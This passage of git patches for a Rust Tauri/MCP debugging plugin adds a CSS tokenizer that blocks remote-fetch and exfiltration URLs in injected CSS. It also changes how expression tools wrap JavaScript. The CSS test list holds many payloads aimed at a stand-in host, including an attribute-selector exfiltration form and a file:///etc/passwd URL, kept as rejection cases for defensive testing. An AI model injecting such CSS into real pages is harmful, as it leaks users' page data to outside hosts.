out = String::with_capacity(css.len()); - let mut i = 0; - while i < bytes.len() { - if i + 1 < bytes.len() && bytes[i] == b'/' && bytes[i + 1] == b'*' { - i += 2; - while i + 1 < bytes.len() && !(bytes[i] == b'*' && bytes[i + 1] == b'/') { - i += 1; +// ── `css inject` anti-exfiltration check (R5B-CSS1) ───────────────────────── +// +// A real (if minimal) CSS tokenizer, per CSS Syntax Level 3, rather than substring scans over a +// comment-stripped copy: stripping comments first let a `/*` inside a string or an unquoted +// `url(...)` swallow a real remote `url()` that followed it, and a substring scan cannot tell a +// URL position from text. The URL checks are an ALLOWLIST: in a URL position only `data:` and +// scheme-less, same-origin references pass. + +/// Functions whose string arguments are URLs (`url("…")`, `src("…")`, `image-set("…" 1x)`, …). +/// A string anywhere inside one of these (at any nesting depth) is checked as a URL. +const CSS_URL_FUNCTIONS: &[&str] = &[ + "url", + "src", + "image-set", + "-webkit-image-set", + "image", + "-webkit-image", + "cross-fade", + "-webkit-cross-fade", +]; + +/// Schemes the URL parser treats as "special": for these, `https:host/x` (no slashes) and +/// backslashes still reach a remote host. +const SPECIAL_URL_SCHEMES: &[&str] = &["http", "https", "ws", "wss", "ftp", "file"]; + +/// CSS input preprocessing: CR, CRLF and FF become LF; NUL becomes U+FFFD. +fn css_preprocess(css: &str) -> Vec { + let mut out = Vec::with_capacity(css.len()); + let mut chars = css.chars().peekable(); + while let Some(c) = chars.next() { + match c { + '\r' => { + if chars.peek() == Some(&'\n') { + chars.next(); + } + out.push('\n'); } - i = (i + 2).min(bytes.len()); - } else { - out.push(bytes[i] as char); - i += 1; + '\u{0C}' => out.push('\n'), + '\0' => out.push('\u{FFFD}'), + _ => out.push(c), } } out } -/// Decode CSS escape sequences so an obfuscated `\40 import` / `\75 rl(` / `\2f\2f` -/// can't slip past a literal-string scan that the browser's CSS parser would still -/// decode and act on. Handles the two CSS escape forms: `\` + 1–6 hex digits -/// (optionally followed by one whitespace) → that code point, and `\` + any other -/// char → that char literally. A trailing lone `\` is dropped. -fn decode_css_escapes(css: &str) -> String { - let mut out = String::with_capacity(css.len()); - let mut chars = css.chars().peekable(); - while let Some(c) = chars.next() { - if c != '\\' { - out.push(c); - continue; +fn css_is_ws(c: char) -> bool { + matches!(c, ' ' | '\t' | '\n') +} + +fn css_is_ident_start(c: char) -> bool { + c.is_ascii_alphabetic() || c == '_' || !c.is_ascii() +} + +fn css_is_ident_char(c: char) -> bool { + css_is_ident_start(c) || c.is_ascii_digit() || c == '-' +} + +/// Tokenizer over preprocessed CSS, tracking only what the URL check needs. +struct CssUrlScanner { + chars: Vec, + pos: usize, +} + +impl CssUrlScanner { + fn at(&self, offset: usize) -> Option { + self.chars.get(self.pos + offset).copied() + } + + /// `\` followed by anything but a newline (or EOF) starts an escape. + fn valid_escape_at(&self, offset: usize) -> bool { + self.at(offset) == Some('\\') && self.at(offset + 1).is_some_and(|c| c != '\n') + } + + fn starts_ident_at(&self, offset: usize) -> bool { + match self.at(offset) { + Some('-') => { + self.at(offset + 1) + .is_some_and(|c| css_is_ident_start(c) || c == '-') + || self.valid_escape_at(offset + 1) + } + Some('\\') => self.valid_escape_at(offset), + Some(c) => css_is_ident_start(c), + None => false, + } + } + + /// Consume an escape; `pos` is just past the backslash. + fn consume_escape(&mut self) -> char { + let Some(c) = self.at(0) else { + return '\u{FFFD}'; + }; + if !c.is_ascii_hexdigit() { + self.pos += 1; + return c; } - // Collect up to 6 hex digits. - let mut hex = String::new(); - while hex.len() < 6 && chars.peek().is_some_and(char::is_ascii_hexdigit) { - hex.push(chars.next().unwrap()); + let mut value: u32 = 0; + let mut digits = 0; + while digits < 6 { + match self.at(0).and_then(|d| d.to_digit(16)) { + Some(d) => { + value = value * 16 + d; + digits += 1; + self.pos += 1; + } + None => break, + } + } + if self.at(0).is_some_and(css_is_ws) { + self.pos += 1; } - if hex.is_empty() { - // `\` + non-hex → literal next char (e.g. `\@` → `@`); lone `\` dropped. - if let Some(next) = chars.next() { - out.push(next); + // 0, surrogates and out-of-range code points are U+FFFD. + match char::from_u32(value) { + Some(ch) if value != 0 => ch, + _ => '\u{FFFD}', + } + } + + fn consume_ident(&mut self) -> String { + let mut out = String::new(); + loop { + match self.at(0) { + Some(c) if css_is_ident_char(c) => { + out.push(c); + self.pos += 1; + } + Some('\\') if self.valid_escape_at(0) => { + self.pos += 1; + out.push(self.consume_escape()); + } + _ => return out, } - } else { - // One optional trailing whitespace terminates a hex escape. - if chars.peek().is_some_and(char::is_ascii_whitespace) { - chars.next(); + } + } + + /// Consume a string token's value; `pos` is just past the opening quote. + fn consume_string(&mut self, quote: char) -> String { + let mut out = String::new(); + loop { + match self.at(0) { + None => return out, + Some(c) if c == quote => { + self.pos += 1; + return out; + } + // An unescaped newline ends a (bad) string; it is not consumed. + Some('\n') => return out, + Some('\\') => { + self.pos += 1; + match self.at(0) { + None => {} + Some('\n') => self.pos += 1, // line continuation + Some(_) => out.push(self.consume_escape()), + } + } + Some(c) => { + out.push(c); + self.pos += 1; + } } - match u32::from_str_radix(&hex, 16).ok().and_then(char::from_u32) { - Some(decoded) => out.push(decoded), - None => out.push('\u{FFFD}'), + } + } + + /// Consume an unquoted `url(` token's value up to `)` / EOF, decoding escapes. A bad-url + /// token (whitespace inside, a quote, `(`) is consumed to the same end point the browser + /// uses and still checked, which only errs toward rejecting. + fn consume_url(&mut self) -> String { + let mut out = String::new(); + loop { + match self.at(0) { + None => return out, + Some(')') => { + self.pos += 1; + return out; + } + Some('\\') if self.valid_escape_at(0) => { + self.pos += 1; + out.push(self.consume_escape()); + } + Some(c) => { + out.push(c); + self.pos += 1; + } } } } - out +} + +/// The URL parser's view of a CSS URL value: tabs and newlines removed anywhere, leading and +/// trailing C0 controls and spaces trimmed. +fn css_url_normalize(raw: &str) -> String { + let no_tab_nl: String = raw + .chars() + .filter(|c| !matches!(c, '\t' | '\n' | '\r')) + .collect(); + no_tab_nl.trim_matches(|c: char| c <= '\u{20}').to_string() +} + +/// The scheme of a normalized URL (ASCII alpha, then alphanumerics / `+` / `-` / `.`, then +/// `:`), lowercased, and the rest after the colon. +fn css_url_scheme(url: &str) -> Option<(String, &str)> { + let mut chars = url.char_indices(); + let (_, first) = chars.next()?; + if !first.is_ascii_alphabetic() { + return None; + } + for (i, c) in chars { + if c == ':' { + return Some((url[..i].to_ascii_lowercase(), &url[i + 1..])); + } + if !(c.is_ascii_alphanumeric() || matches!(c, '+' | '-' | '.')) { + return None; + } + } + None +} + +/// Starts with two of `/` and `\` (a network-path reference; special schemes read `\` as `/`). +fn css_starts_with_authority(s: &str) -> bool { + let mut it = s.chars(); + matches!((it.next(), it.next()), (Some('/' | '\\'), Some('/' | '\\'))) +} + +/// Check one URL-bearing value. `strict` (a URL position): only `data:` or a scheme-less +/// same-origin reference passes. Otherwise (a string that is not in a URL position, but could +/// reach one through `var()`): reject anything that can name a remote host. +fn css_check_url(raw: &str, strict: bool) -> Result<(), String> { + let url = css_url_normalize(raw); + let remote = if css_starts_with_authority(&url) { + true + } else if let Some((scheme, rest)) = css_url_scheme(&url) { + if strict { + scheme != "data" + } else { + SPECIAL_URL_SCHEMES.contains(&scheme.as_str()) || css_starts_with_authority(rest) + } + } else { + false + }; + if remote { + return Err(format!( + "a non-local URL is blocked in injected CSS (`{}` could fetch a remote origin — a \ + data-exfiltration vector). Only relative and data: URLs are allowed; pass \ + `allow_remote: true` to opt in.", + url.chars().take(80).collect::() + )); + } + Ok(()) } /// Validate CSS submitted to `css inject` before it is added to the page. By default this -/// rejects two remote-fetch vectors that turn a debugging tool into a data-exfiltration / -/// `SSRF` channel (especially dangerous when chained with prompt injection from page-sourced -/// content): `@import` (pulls a remote stylesheet) and `url(...)` pointing at a remote -/// origin (`http(s)://`, protocol-relative `//host`, or any `scheme://`). Relative refs, -/// `data:` URIs, and `#fragment` refs are allowed. Set `allow_remote` to opt back in to -/// remote references when intentionally needed. +/// rejects every construct that could fetch from a remote origin — a data-exfiltration / SSRF +/// channel, especially when chained with prompt injection from page-sourced content: +/// +/// - `@import` in any form (it pulls a stylesheet); +/// - an unquoted `url(...)` or a string inside `url()`, `src()`, `image-set()` / +/// `-webkit-image-set()`, `image()`, `cross-fade()` that is not `data:` or a scheme-less +/// relative reference (`//host`, `\\host`, `https:host`, `blob:`, … are all rejected); +/// - any other string that names a remote host (`http(s)`/`ws(s)`/`ftp`/`file` scheme, or a +/// `//host` form), since a custom property can carry it into an image function via `var()`. +/// +/// Comments, strings and escapes are tokenized as the browser does, so an escaped name +/// (`\75 rl(`), an escaped backslash (`\5c`), or a `/*` inside a string cannot hide a URL. +/// Relative refs, `data:` URIs, and `#fragment` refs are allowed. Set `allow_remote` to opt +/// back in to remote references when intentionally needed. /// /// # Errors /// Returns an error describing the rejected construct (or oversize input). @@ -782,39 +981,66 @@ pub fn sanitize_injected_css(css: &str, allow_remote: bool) -> Result<(), String if allow_remote { return Ok(()); } - // Strip comments, then DECODE escapes, then lowercase — so `\40 import` and - // `\75 rl(` (and an escaped `\2f\2f` remote URL) are normalized to the forms - // the scan below matches, closing the CSS-escape bypass. - let scan = decode_css_escapes(&strip_css_comments(css)).to_ascii_lowercase(); - if scan.contains("@import") { - return Err( - "`@import` is blocked in injected CSS (it fetches a remote stylesheet — \ - a data-exfiltration vector). Inline the rules, or pass `allow_remote: true`." - .to_string(), - ); - } - // Inspect every `url(...)` argument for a remote target. - let bytes = scan.as_bytes(); - let mut search_from = 0; - while let Some(rel) = scan[search_from..].find("url(") { - let arg_start = search_from + rel + 4; - let arg_end = scan[arg_start..] - .find(')') - .map_or(scan.len(), |e| arg_start + e); - let arg = bytes[arg_start..arg_end] - .iter() - .map(|&b| b as char) - .collect::(); - let trimmed = arg.trim().trim_matches(['\'', '"']).trim(); - if trimmed.starts_with("//") || trimmed.contains("://") { - return Err(format!( - "remote `url(...)` is blocked in injected CSS (`{}` would fetch a remote \ - origin — a data-exfiltration vector). Use a relative or data: URL, or pass \ - `allow_remote: true`.", - trimmed.chars().take(80).collect::() - )); + let mut s = CssUrlScanner { + chars: css_preprocess(css), + pos: 0, + }; + // Open functions / parentheses, innermost last (lowercased names; "" for a bare `(`). + let mut open: Vec = Vec::new(); + let in_url_function = + |open: &[String]| open.iter().any(|f| CSS_URL_FUNCTIONS.contains(&f.as_str())); + while let Some(c) = s.at(0) { + match c { + '/' if s.at(1) == Some('*') => { + s.pos += 2; + while s.pos < s.chars.len() && !(s.at(0) == Some('*') && s.at(1) == Some('/')) { + s.pos += 1; + } + s.pos = (s.pos + 2).min(s.chars.len()); + } + '"' | '\'' => { + s.pos += 1; + let value = s.consume_string(c); + css_check_url(&value, in_url_function(&open))?; + } + '@' if s.starts_ident_at(1) => { + s.pos += 1; + if s.consume_ident().eq_ignore_ascii_case("import") { + return Err( + "`@import` is blocked in injected CSS (it fetches a stylesheet — a \ + data-exfiltration vector). Inline the rules, or pass `allow_remote: true`." + .to_string(), + ); + } + } + '(' => { + s.pos += 1; + open.push(String::new()); + } + ')' => { + s.pos += 1; + open.pop(); + } + _ if s.starts_ident_at(0) => { + let name = s.consume_ident().to_ascii_lowercase(); + if s.at(0) == Some('(') { + s.pos += 1; + let mut ahead = 0; + while s.at(ahead).is_some_and(css_is_ws) { + ahead += 1; + } + if name == "url" && !matches!(s.at(ahead), Some('"' | '\'')) { + // An unquoted url token: always a URL position. + s.pos += ahead; + let value = s.consume_url(); + css_check_url(&value, true)?; + } else { + open.push(name); + } + } + } + _ => s.pos += 1, } - search_from = arg_end; } Ok(()) } @@ -985,6 +1211,115 @@ mod injected_css_tests { assert!(sanitize_injected_css("a::before{content:'\\2022'}", false).is_ok()); assert!(sanitize_injected_css("body{color:red}", false).is_ok()); } + + /// R5B-CSS1: every construct below resolves to a REMOTE origin in a real webview (WHATWG + /// URL parsing against `tauri://localhost` / `http://tauri.localhost`), so each must be + /// rejected. The old check only looked for a leading `//` or a `://` inside `url(...)`. + #[test] + fn r5b_css1_rejects_every_remote_form() { + let remote = [ + // A special scheme needs no slashes: `https:evil.example/x` is https://evil.example/x. + r"body{background:url(https:evil.example/x)}", + r"body{background:url(HTTPS:evil.example/x)}", + r"body{background:url(http:/evil.example/x)}", + r#"body{background:url("https:evil.example/x")}"#, + // `\5c` is a backslash, which special schemes read as `/`. + r#"body{background:url("https:\5c\5c evil.example/x")}"#, + r"body{background:url(\5c\5c evil.example/x)}", + // (`\\` is an escaped backslash; a lone `\e` would be a hex escape.) + r"body{background:url(/\\evil.example/x)}", + r"body{background:url(\\/evil.example/x)}", + r"body{background:url(\\\\evil.example/x)}", + // Tabs / newlines are removed anywhere by the URL parser. + "body{background:url(\"ht\\9 tps://evil.example/x\")}", + "body{background:url(\"ht\\a tps://evil.example/x\")}", + "body{background:url(\" //evil.example/x\")}", + // Any scheme other than data: in a URL position. + r"body{background:url(ws:evil.example)}", + r"body{background:url(file:///etc/passwd)}", + r"body{background:url(blob:https://evil.example/uuid)}", + r"body{background:url(javascript:alert(1))}", + // Image functions take bare strings as URLs. + r#"body{background-image:image-set("https://evil.example/x" 1x)}"#, + r#"input[value^=a]{background:-webkit-image-set("//evil.example/a" 1x)}"#, + r#"body{background-image:image-set("https:evil.example/x" 1x)}"#, + r#"body{background-image:image("https://evil.example/x")}"#, + r#"body{background-image:cross-fade("https://evil.example/x", url(a.png) 50%)}"#, + r#"body{background-image:-webkit-cross-fade("//evil.example/x", url(a.png), 50%)}"#, + r#"body{background-image:src("https://evil.example/x")}"#, + r#"body{background-image:image-set(type("image/png") "https://evil.example/x")}"#, + // Escaped / uppercased function names. + r#"body{background-image:IMAGE-SET("https://evil.example/x" 1x)}"#, + r#"body{background-image:\69 mage-set("https://evil.example/x" 1x)}"#, + r"body{background-image:U\52 L(https://evil.example/x)}", + // A string reaching an image function through a custom property. + r#":root{--u:"https://evil.example/x"} body{background:image-set(var(--u) 1x)}"#, + r#":root{--u:"//evil.example/x"}"#, + // `@import` in any form. + r#"@import "a.css";"#, + r"@IMPORT url(a.css);", + r#"@\69mport "a.css";"#, + // A comment opener inside a string / url must not hide what follows it. + r#"a{content:"/*"} body{background:url(https://evil.example/x)} b{content:"*/"}"#, + r"a{background:url(x/*)} body{background:url(https://evil.example/x)} /**/", + // Unterminated url at EOF is still a url token. + r"body{background:url(https://evil.example/x", + // A NUL is U+FFFD to CSS; escaped NUL too — neither hides the scheme after it. + "body{background:url(\"x\") url(https://evil.example/\u{0})}", + ]; + for css in remote { + assert!( + sanitize_injected_css(css, false).is_err(), + "must be rejected: {css}" + ); + // The opt-in still lets it through. + assert!(sanitize_injected_css(css, true).is_ok(), "{css}"); + } + } + + #[test] + fn r5b_css1_keeps_legitimate_css_working() { + let local = [ + "body{color:red}", + "a:hover{outline:2px solid #f00 !important}", + "@media (max-width: 600px){.x{display:none}}", + "@keyframes k{from{opacity:0}to{opacity:1}}", + "@supports (display:grid){.g{display:grid}}", + r"body{background:url(/assets/x.png)}", + r"body{background:url(./x.png)}", + r"body{background:url(../img/x.png)}", + r"body{background:url(x.png?a=b#c)}", + r#"body{background:url("img/x y.png")}"#, + r"body{background:url(#grad)}", + r"body{background:url()}", + r#"body{background:url("")}"#, + r"body{background:url(DATA:image/png;base64,AAAA)}", + r#"body{background:url("data:image/svg+xml;utf8,")}"#, + r#"body{background-image:image-set("a.png" 1x, "a@2x.png" 2x)}"#, + r#"body{background-image:image-set(url(a.png) type("image/png") 1x)}"#, + r#"@font-face{font-family:X;src:local("Arial Bold"),url(f.woff2) format("woff2")}"#, + r#"a::before{content:"Warning: see docs"}"#, + r#"a::before{content:"https is fine as text, not a URL"}"#, + r#"a::after{content:"w: 100px"}"#, + r#"q{quotes:"«" "»"}"#, + r#"body{font-family:"Segoe UI", sans-serif}"#, + r#".g{grid-template-areas:"a b" "c d"}"#, + r"a::before{content:'\2022'}", + // Comments anywhere, including ones that look like URLs. + "/* https://evil.example */ body{color:red}", + // `@import` as text is not an import. + r#"a::before{content:"@import is blocked"}"#, + // An ident merely containing `url`. + r"body{--my-url:1px; transition:myurl(1s)}", + ]; + for css in local { + assert!( + sanitize_injected_css(css, false).is_ok(), + "must be allowed: {css} => {:?}", + sanitize_injected_css(css, false) + ); + } + } } #[cfg(test)] From 99b46a4510dce5929de3577c6aa4ac01346ec052 Mon Sep 17 00:00:00 2001 From: antony Date: Wed, 30 Sep 2026 02:11:21 +1000 Subject: [PATCH 130/167] fix(tools): expression tools accept a trailing `;` / comment; a wait_for parse error fails fast (R5B-EXPR1) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit verify_state, assert_semantic and wait_for(expression) wrapped the caller's expression as `return ()`, so `1+1;` or `1+1 // note` became a parse error — and wait_for then polled until its full timeout. A single expression is now handed to the eval engine's string/comment-aware return auto-prepend; anything it would not wrap (an object literal) keeps the parenthesized form with trailing `;` dropped and the expression on lines of its own. A parse error in a wait_for expression now returns at once as a tool error; page exceptions still count as "not yet met". Co-Authored-By: Claude Opus 5.5 (1M context) Claude-Session: https://claude.ai/code/session_015A4eZdnsnQtTqs4DPRScaM --- crates/victauri-plugin/src/mcp/mod.rs | 46 ++- .../victauri-plugin/src/mcp/other_params.rs | 4 +- .../src/mcp/tool_result_tests.rs | 282 ++++++++++++++++++ 3 files changed, 325 insertions(+), 7 deletions(-) create mode 100644 crates/victauri-plugin/src/mcp/tool_result_tests.rs diff --git a/crates/victauri-plugin/src/mcp/mod.rs b/crates/victauri-plugin/src/mcp/mod.rs index a8f612a4..56f62c8f 100644 --- a/crates/victauri-plugin/src/mcp/mod.rs +++ b/crates/victauri-plugin/src/mcp/mod.rs @@ -19,6 +19,8 @@ mod rest; #[cfg(test)] mod robustness_tests; mod server; +#[cfg(test)] +mod tool_result_tests; mod verification_params; mod webview_params; mod window_params; @@ -261,8 +263,16 @@ impl EvalFailure { message: message.into(), } } + + /// The code did not parse (reported by the bridge's post-wrapper check), so it never ran. + fn is_parse_error(&self) -> bool { + self.kind == EvalFailureKind::NotSent && self.message.starts_with(PARSE_ERROR_PREFIX) + } } +/// How [`unwrap_eval_envelope`] reports code that did not parse. +const PARSE_ERROR_PREFIX: &str = "JavaScript parse error:"; + /// How long `app_state` waits for an app-registered probe closure (shortened under test). const PROBE_TIMEOUT: std::time::Duration = if cfg!(test) { std::time::Duration::from_secs(1) @@ -718,7 +728,7 @@ impl VictauriMcpHandler { if !self.state.privacy.is_tool_enabled("eval_js") { return tool_disabled("verify_state requires eval_js capability"); } - let code = format!("return ({})", params.frontend_expr); + let code = expression_eval_code(¶ms.frontend_expr); let frontend_json = match self .eval_with_return(&code, params.webview_label.as_deref()) .await @@ -897,7 +907,7 @@ impl VictauriMcpHandler { let Some(expr) = params.value.as_deref().filter(|s| !s.is_empty()) else { return missing_param("value", "wait_for(expression)"); }; - let code = format!("return ({expr});"); + let code = expression_eval_code(expr); let start = std::time::Instant::now(); let deadline = start + std::time::Duration::from_millis(timeout_ms); let poll = std::time::Duration::from_millis(poll_ms); @@ -910,9 +920,14 @@ impl VictauriMcpHandler { .min(std::time::Duration::from_secs(15)) .max(std::time::Duration::from_secs(1)); match self - .eval_with_return_timeout(&code, params.webview_label.as_deref(), per_eval) + .eval_outcome(&code, params.webview_label.as_deref(), per_eval) .await { + // Code that does not parse can never start matching: fail now instead of + // polling to the timeout. + Err(f) if f.is_parse_error() => { + return tool_error(format!("wait_for(expression): {}", f.message)); + } Ok(raw) => { let val = serde_json::from_str(&raw).unwrap_or(serde_json::Value::Null); let met = match ¶ms.expected { @@ -928,7 +943,7 @@ impl VictauriMcpHandler { } last_value = val; } - Err(e) => last_error = Some(e), + Err(e) => last_error = Some(e.message), } if std::time::Instant::now() >= deadline { @@ -1020,7 +1035,7 @@ impl VictauriMcpHandler { if !self.state.privacy.is_tool_enabled("eval_js") { return tool_disabled("assert_semantic requires eval_js capability"); } - let code = format!("return ({})", params.expression); + let code = expression_eval_code(¶ms.expression); let actual_json = match self .eval_with_return(&code, params.webview_label.as_deref()) .await @@ -5805,7 +5820,7 @@ fn unwrap_eval_envelope(raw: String) -> Result { return Err(EvalFailure::new( EvalFailureKind::NotSent, format!( - "JavaScript parse error: {}", + "{PARSE_ERROR_PREFIX} {}", why.as_str().unwrap_or("the code did not begin executing") ), )); @@ -5861,6 +5876,25 @@ fn unwrap_eval_envelope(raw: String) -> Result { Ok(raw) } +/// The eval code for a caller-supplied EXPRESSION (`verify_state`, `assert_semantic`, +/// `wait_for` expression): code that returns the expression's value. +/// +/// These used to be wrapped as `return ()`, so a trailing `;` or a trailing `// comment` +/// (which swallowed the closing paren) turned a valid expression into a parse error. A single +/// expression is now handed to the eval engine as-is: its string/comment-aware `return` +/// auto-prepend already accepts a trailing `;`, trailing comments and multi-line expressions, +/// and the wrapper ends the code with a newline. Anything the engine would NOT wrap (an object +/// literal `{a: 1}.a`, which reads as a block) keeps the parenthesized form, with trailing `;`s +/// dropped and the expression on lines of its own so a trailing line comment cannot swallow the +/// closing paren. Multi-statement code stays a syntax error (these tools take an expression). +fn expression_eval_code(expr: &str) -> String { + if should_prepend_return(expr) { + return expr.to_string(); + } + let body = expr.trim_end_matches(|c: char| c == ';' || is_js_space(c)); + format!("return (\n{body}\n);") +} + /// Statement keywords where a leading `return` would be a syntax error. Matched as whole words /// (followed by any non-identifier byte — `if\t(`, `const\n`, `function*` — or the end). const STMT_KEYWORDS: &[&str] = &[ diff --git a/crates/victauri-plugin/src/mcp/other_params.rs b/crates/victauri-plugin/src/mcp/other_params.rs index a9e001c9..04361187 100644 --- a/crates/victauri-plugin/src/mcp/other_params.rs +++ b/crates/victauri-plugin/src/mcp/other_params.rs @@ -104,7 +104,9 @@ pub struct WaitForParams { /// Condition to wait for. pub condition: WaitCondition, /// Value for the condition: text to find, CSS selector, URL substring, - /// JS expression (for `expression`), or Tauri event name (for `event`). + /// JS expression (for `expression` — a single expression; a trailing `;` or comment is + /// fine, and one that does not parse fails at once instead of polling to the timeout), + /// or Tauri event name (for `event`). pub value: Option, /// Maximum time to wait in milliseconds. Default: 10000. pub timeout_ms: Option, diff --git a/crates/victauri-plugin/src/mcp/tool_result_tests.rs b/crates/victauri-plugin/src/mcp/tool_result_tests.rs new file mode 100644 index 00000000..da66ed4c --- /dev/null +++ b/crates/victauri-plugin/src/mcp/tool_result_tests.rs @@ -0,0 +1,282 @@ +//! Round-5 tool-result regressions (R5B-*): expression wrapping, `undefined` in assertions, +//! `wait_for` edge cases, `logs slow_ipc` window targeting, `explain diff` accounting, and +//! page-reported failures surfacing as tool errors. Each drives the real `execute_tool` +//! dispatch with a bridge that answers the page's side of the protocol. + +use std::sync::Mutex as StdMutex; +use std::time::{Duration, Instant}; + +use serde_json::json; +use victauri_core::WindowState; + +use super::*; + +/// What the page answers for one eval wrapper: `(target label, wrapper script) -> callback body` +/// (`None` leaves the eval unanswered). +type Responder = Arc, &str) -> Option + Send + Sync>; + +/// A bridge that answers the liveness probe, and every eval wrapper through a [`Responder`]. +#[derive(Clone)] +struct ScriptBridge { + pending: crate::PendingCallbacks, + respond: Responder, + /// `(label, script)` of every eval delivered. + evals: Arc, String)>>>, +} + +impl ScriptBridge { + fn new(state: &Arc, respond: Responder) -> Self { + Self { + pending: state.pending_evals.clone(), + respond, + evals: Arc::default(), + } + } + + /// A bridge that answers every eval with the same callback body. + fn answering(state: &Arc, body: &str) -> Self { + let body = body.to_string(); + Self::new(state, Arc::new(move |_, _| Some(body.clone()))) + } + + fn answer(&self, id: String, body: String) { + let pending = self.pending.clone(); + std::thread::spawn(move || { + if let Some(tx) = pending.blocking_lock().remove(&id) { + let _ = tx.send(body); + } + }); + } + + /// Labels of every eval whose script contains `needle`. + fn labels_of(&self, needle: &str) -> Vec> { + self.evals + .lock() + .unwrap_or_else(std::sync::PoisonError::into_inner) + .iter() + .filter(|(_, s)| s.contains(needle)) + .map(|(l, _)| l.clone()) + .collect() + } +} + +/// The quoted 36-char id right after `marker`. +fn quoted_id_after(script: &str, marker: &str) -> Option { + let start = script.find(marker)? + marker.len(); + script.get(start..start + 36).map(str::to_string) +} + +impl WebviewBridge for ScriptBridge { + fn eval_webview(&self, label: Option<&str>, script: &str) -> Result<(), String> { + self.evals + .lock() + .unwrap_or_else(std::sync::PoisonError::into_inner) + .push((label.map(str::to_string), script.to_string())); + if script.contains("probe_ok") { + if let Some(id) = quoted_id_after(script, "id:\"") { + self.answer(id, "\"probe_ok:page-1\"".to_string()); + } + } else if let Some(id) = quoted_id_after(script, "__vic = { id: \"") + && let Some(body) = (self.respond)(label, script) + { + self.answer(id, body); + } + Ok(()) + } + fn get_window_states(&self, _l: Option<&str>) -> Vec { + Vec::new() + } + fn list_window_labels(&self) -> Vec { + vec!["main".to_string(), "popup".to_string()] + } + fn get_native_handle(&self, _l: Option<&str>) -> Result { + Err("no handle".to_string()) + } + fn manage_window(&self, _l: Option<&str>, _a: &str) -> Result { + Err("no window".to_string()) + } + fn resize_window(&self, _l: Option<&str>, _w: u32, _h: u32) -> Result<(), String> { + Ok(()) + } + fn move_window(&self, _l: Option<&str>, _x: i32, _y: i32) -> Result<(), String> { + Ok(()) + } + fn set_window_title(&self, _l: Option<&str>, _t: &str) -> Result<(), String> { + Ok(()) + } +} + +fn state() -> Arc { + let mut s = VictauriState::for_tests(); + s.eval_timeout = Duration::from_secs(5); + Arc::new(s) +} + +fn handler(state: &Arc, bridge: &ScriptBridge) -> VictauriMcpHandler { + VictauriMcpHandler::new(Arc::clone(state), Arc::new(bridge.clone())) +} + +async fn call(h: &VictauriMcpHandler, tool: &str, args: serde_json::Value) -> CallToolResult { + tokio::time::timeout(Duration::from_secs(30), h.execute_tool(tool, args)) + .await + .unwrap_or_else(|_| panic!("{tool} did not return within 30s")) + .unwrap_or_else(|_| panic!("{tool}: dispatch rejected the arguments")) +} + +fn text(r: &CallToolResult) -> String { + r.content + .iter() + .filter_map(|c| match c { + ContentBlock::Text(t) => Some(t.text.clone()), + _ => None, + }) + .collect::>() + .join("\n") +} + +fn ok_json(r: &CallToolResult) -> serde_json::Value { + assert_ne!(r.is_error, Some(true), "unexpected tool error: {}", text(r)); + serde_json::from_str(&text(r)).unwrap_or_else(|e| panic!("not JSON ({e}): {}", text(r))) +} + +// ── R5B-EXPR1: expression wrapping ───────────────────────────────────────────────────────── + +/// The code the eval engine finally runs for `code` — the same `return` auto-prepend as +/// `eval_outcome`. +fn engine_code(code: &str) -> String { + let body = strip_leading_js_comments(code.trim()); + if should_prepend_return(body) { + format!("return {body}") + } else { + code.trim().to_string() + } +} + +/// Every expression in `cases` runs (in Node, inside the same async-function body the eval +/// wrapper uses) and yields 2; the invalid one is a syntax error. +#[test] +fn expression_tools_accept_trailing_semicolons_and_comments() { + let cases = [ + "1+1", + "1+1;", + "1+1 // note", + "1+1; // note", + "1+1; /* note */", + "1+1;; ", + "1+1 /* a */ // b", + "/* lead */ 1+1", + "// lead\n1+1", + "1 +\n1", + "(1\n+ 1)", + "[1,\n 1]\n .length", + " \n 1+1 \n ", + "'a//b'.length - 2", + "\"x;\".length", + "{a: 2}.a", + "({a: 2}).a;", + "await Promise.resolve(2)", + "await Promise.resolve(2); // done", + ]; + let bodies: Vec = cases + .iter() + .map(|c| engine_code(&expression_eval_code(c))) + .collect(); + let invalid = engine_code(&expression_eval_code("1 +")); + let script = format!( + "const AF = Object.getPrototypeOf(async function(){{}}).constructor; + (async () => {{ + const out = []; + for (const body of {bodies}) {{ + try {{ out.push(await new AF(body + '\\n')()); }} + catch (e) {{ out.push('ERR ' + e.name + ': ' + e.message); }} + }} + let invalid; + try {{ new AF({invalid} + '\\n'); invalid = 'parsed'; }} + catch (e) {{ invalid = e.name; }} + console.log('OUT:' + JSON.stringify({{ out, invalid }})); + }})();", + bodies = serde_json::to_string(&bodies).unwrap(), + invalid = serde_json::to_string(&invalid).unwrap(), + ); + let Ok(out) = std::process::Command::new("node") + .arg("-e") + .arg(&script) + .output() + else { + eprintln!("SKIP: node not installed"); + return; + }; + let stdout = String::from_utf8_lossy(&out.stdout); + let line = stdout + .lines() + .find_map(|l| l.strip_prefix("OUT:")) + .unwrap_or_else(|| { + panic!( + "no output: {stdout} {}", + String::from_utf8_lossy(&out.stderr) + ) + }); + let v: serde_json::Value = serde_json::from_str(line).unwrap(); + for (i, case) in cases.iter().enumerate() { + assert_eq!( + v["out"][i], + json!(2), + "{case:?} -> {:?}: {}", + bodies[i], + v["out"][i] + ); + } + assert_eq!(v["invalid"], "SyntaxError", "{invalid:?}"); +} + +/// A genuine syntax error in a `wait_for` expression fails at once, not after polling to the +/// timeout (it can never start matching). +#[tokio::test] +async fn wait_for_expression_with_a_syntax_error_fails_fast() { + let state = state(); + let bridge = ScriptBridge::answering( + &state, + r#"{"__victauri_not_run":"the code did not begin executing — this almost always means a syntax/parse error in the submitted code"}"#, + ); + let h = handler(&state, &bridge); + let started = Instant::now(); + let r = call( + &h, + "wait_for", + json!({"condition": "expression", "value": "1 +", "timeout_ms": 10_000}), + ) + .await; + assert_eq!(r.is_error, Some(true), "{}", text(&r)); + assert!(text(&r).contains("parse error"), "{}", text(&r)); + assert!( + started.elapsed() < Duration::from_secs(3), + "polled for {:?}", + started.elapsed() + ); +} + +/// A page-side exception (the target may not exist yet during startup) is still "not yet +/// met": `wait_for` keeps polling and surfaces it on timeout. +#[tokio::test] +async fn wait_for_expression_keeps_polling_through_a_page_exception() { + let state = state(); + let bridge = ScriptBridge::answering(&state, r#"{"__victauri_err":"x is not defined"}"#); + let h = handler(&state, &bridge); + let r = ok_json( + &call( + &h, + "wait_for", + json!({"condition": "expression", "value": "x.ready", "timeout_ms": 300, + "poll_ms": 50}), + ) + .await, + ); + assert_eq!(r["ok"], false, "{r}"); + 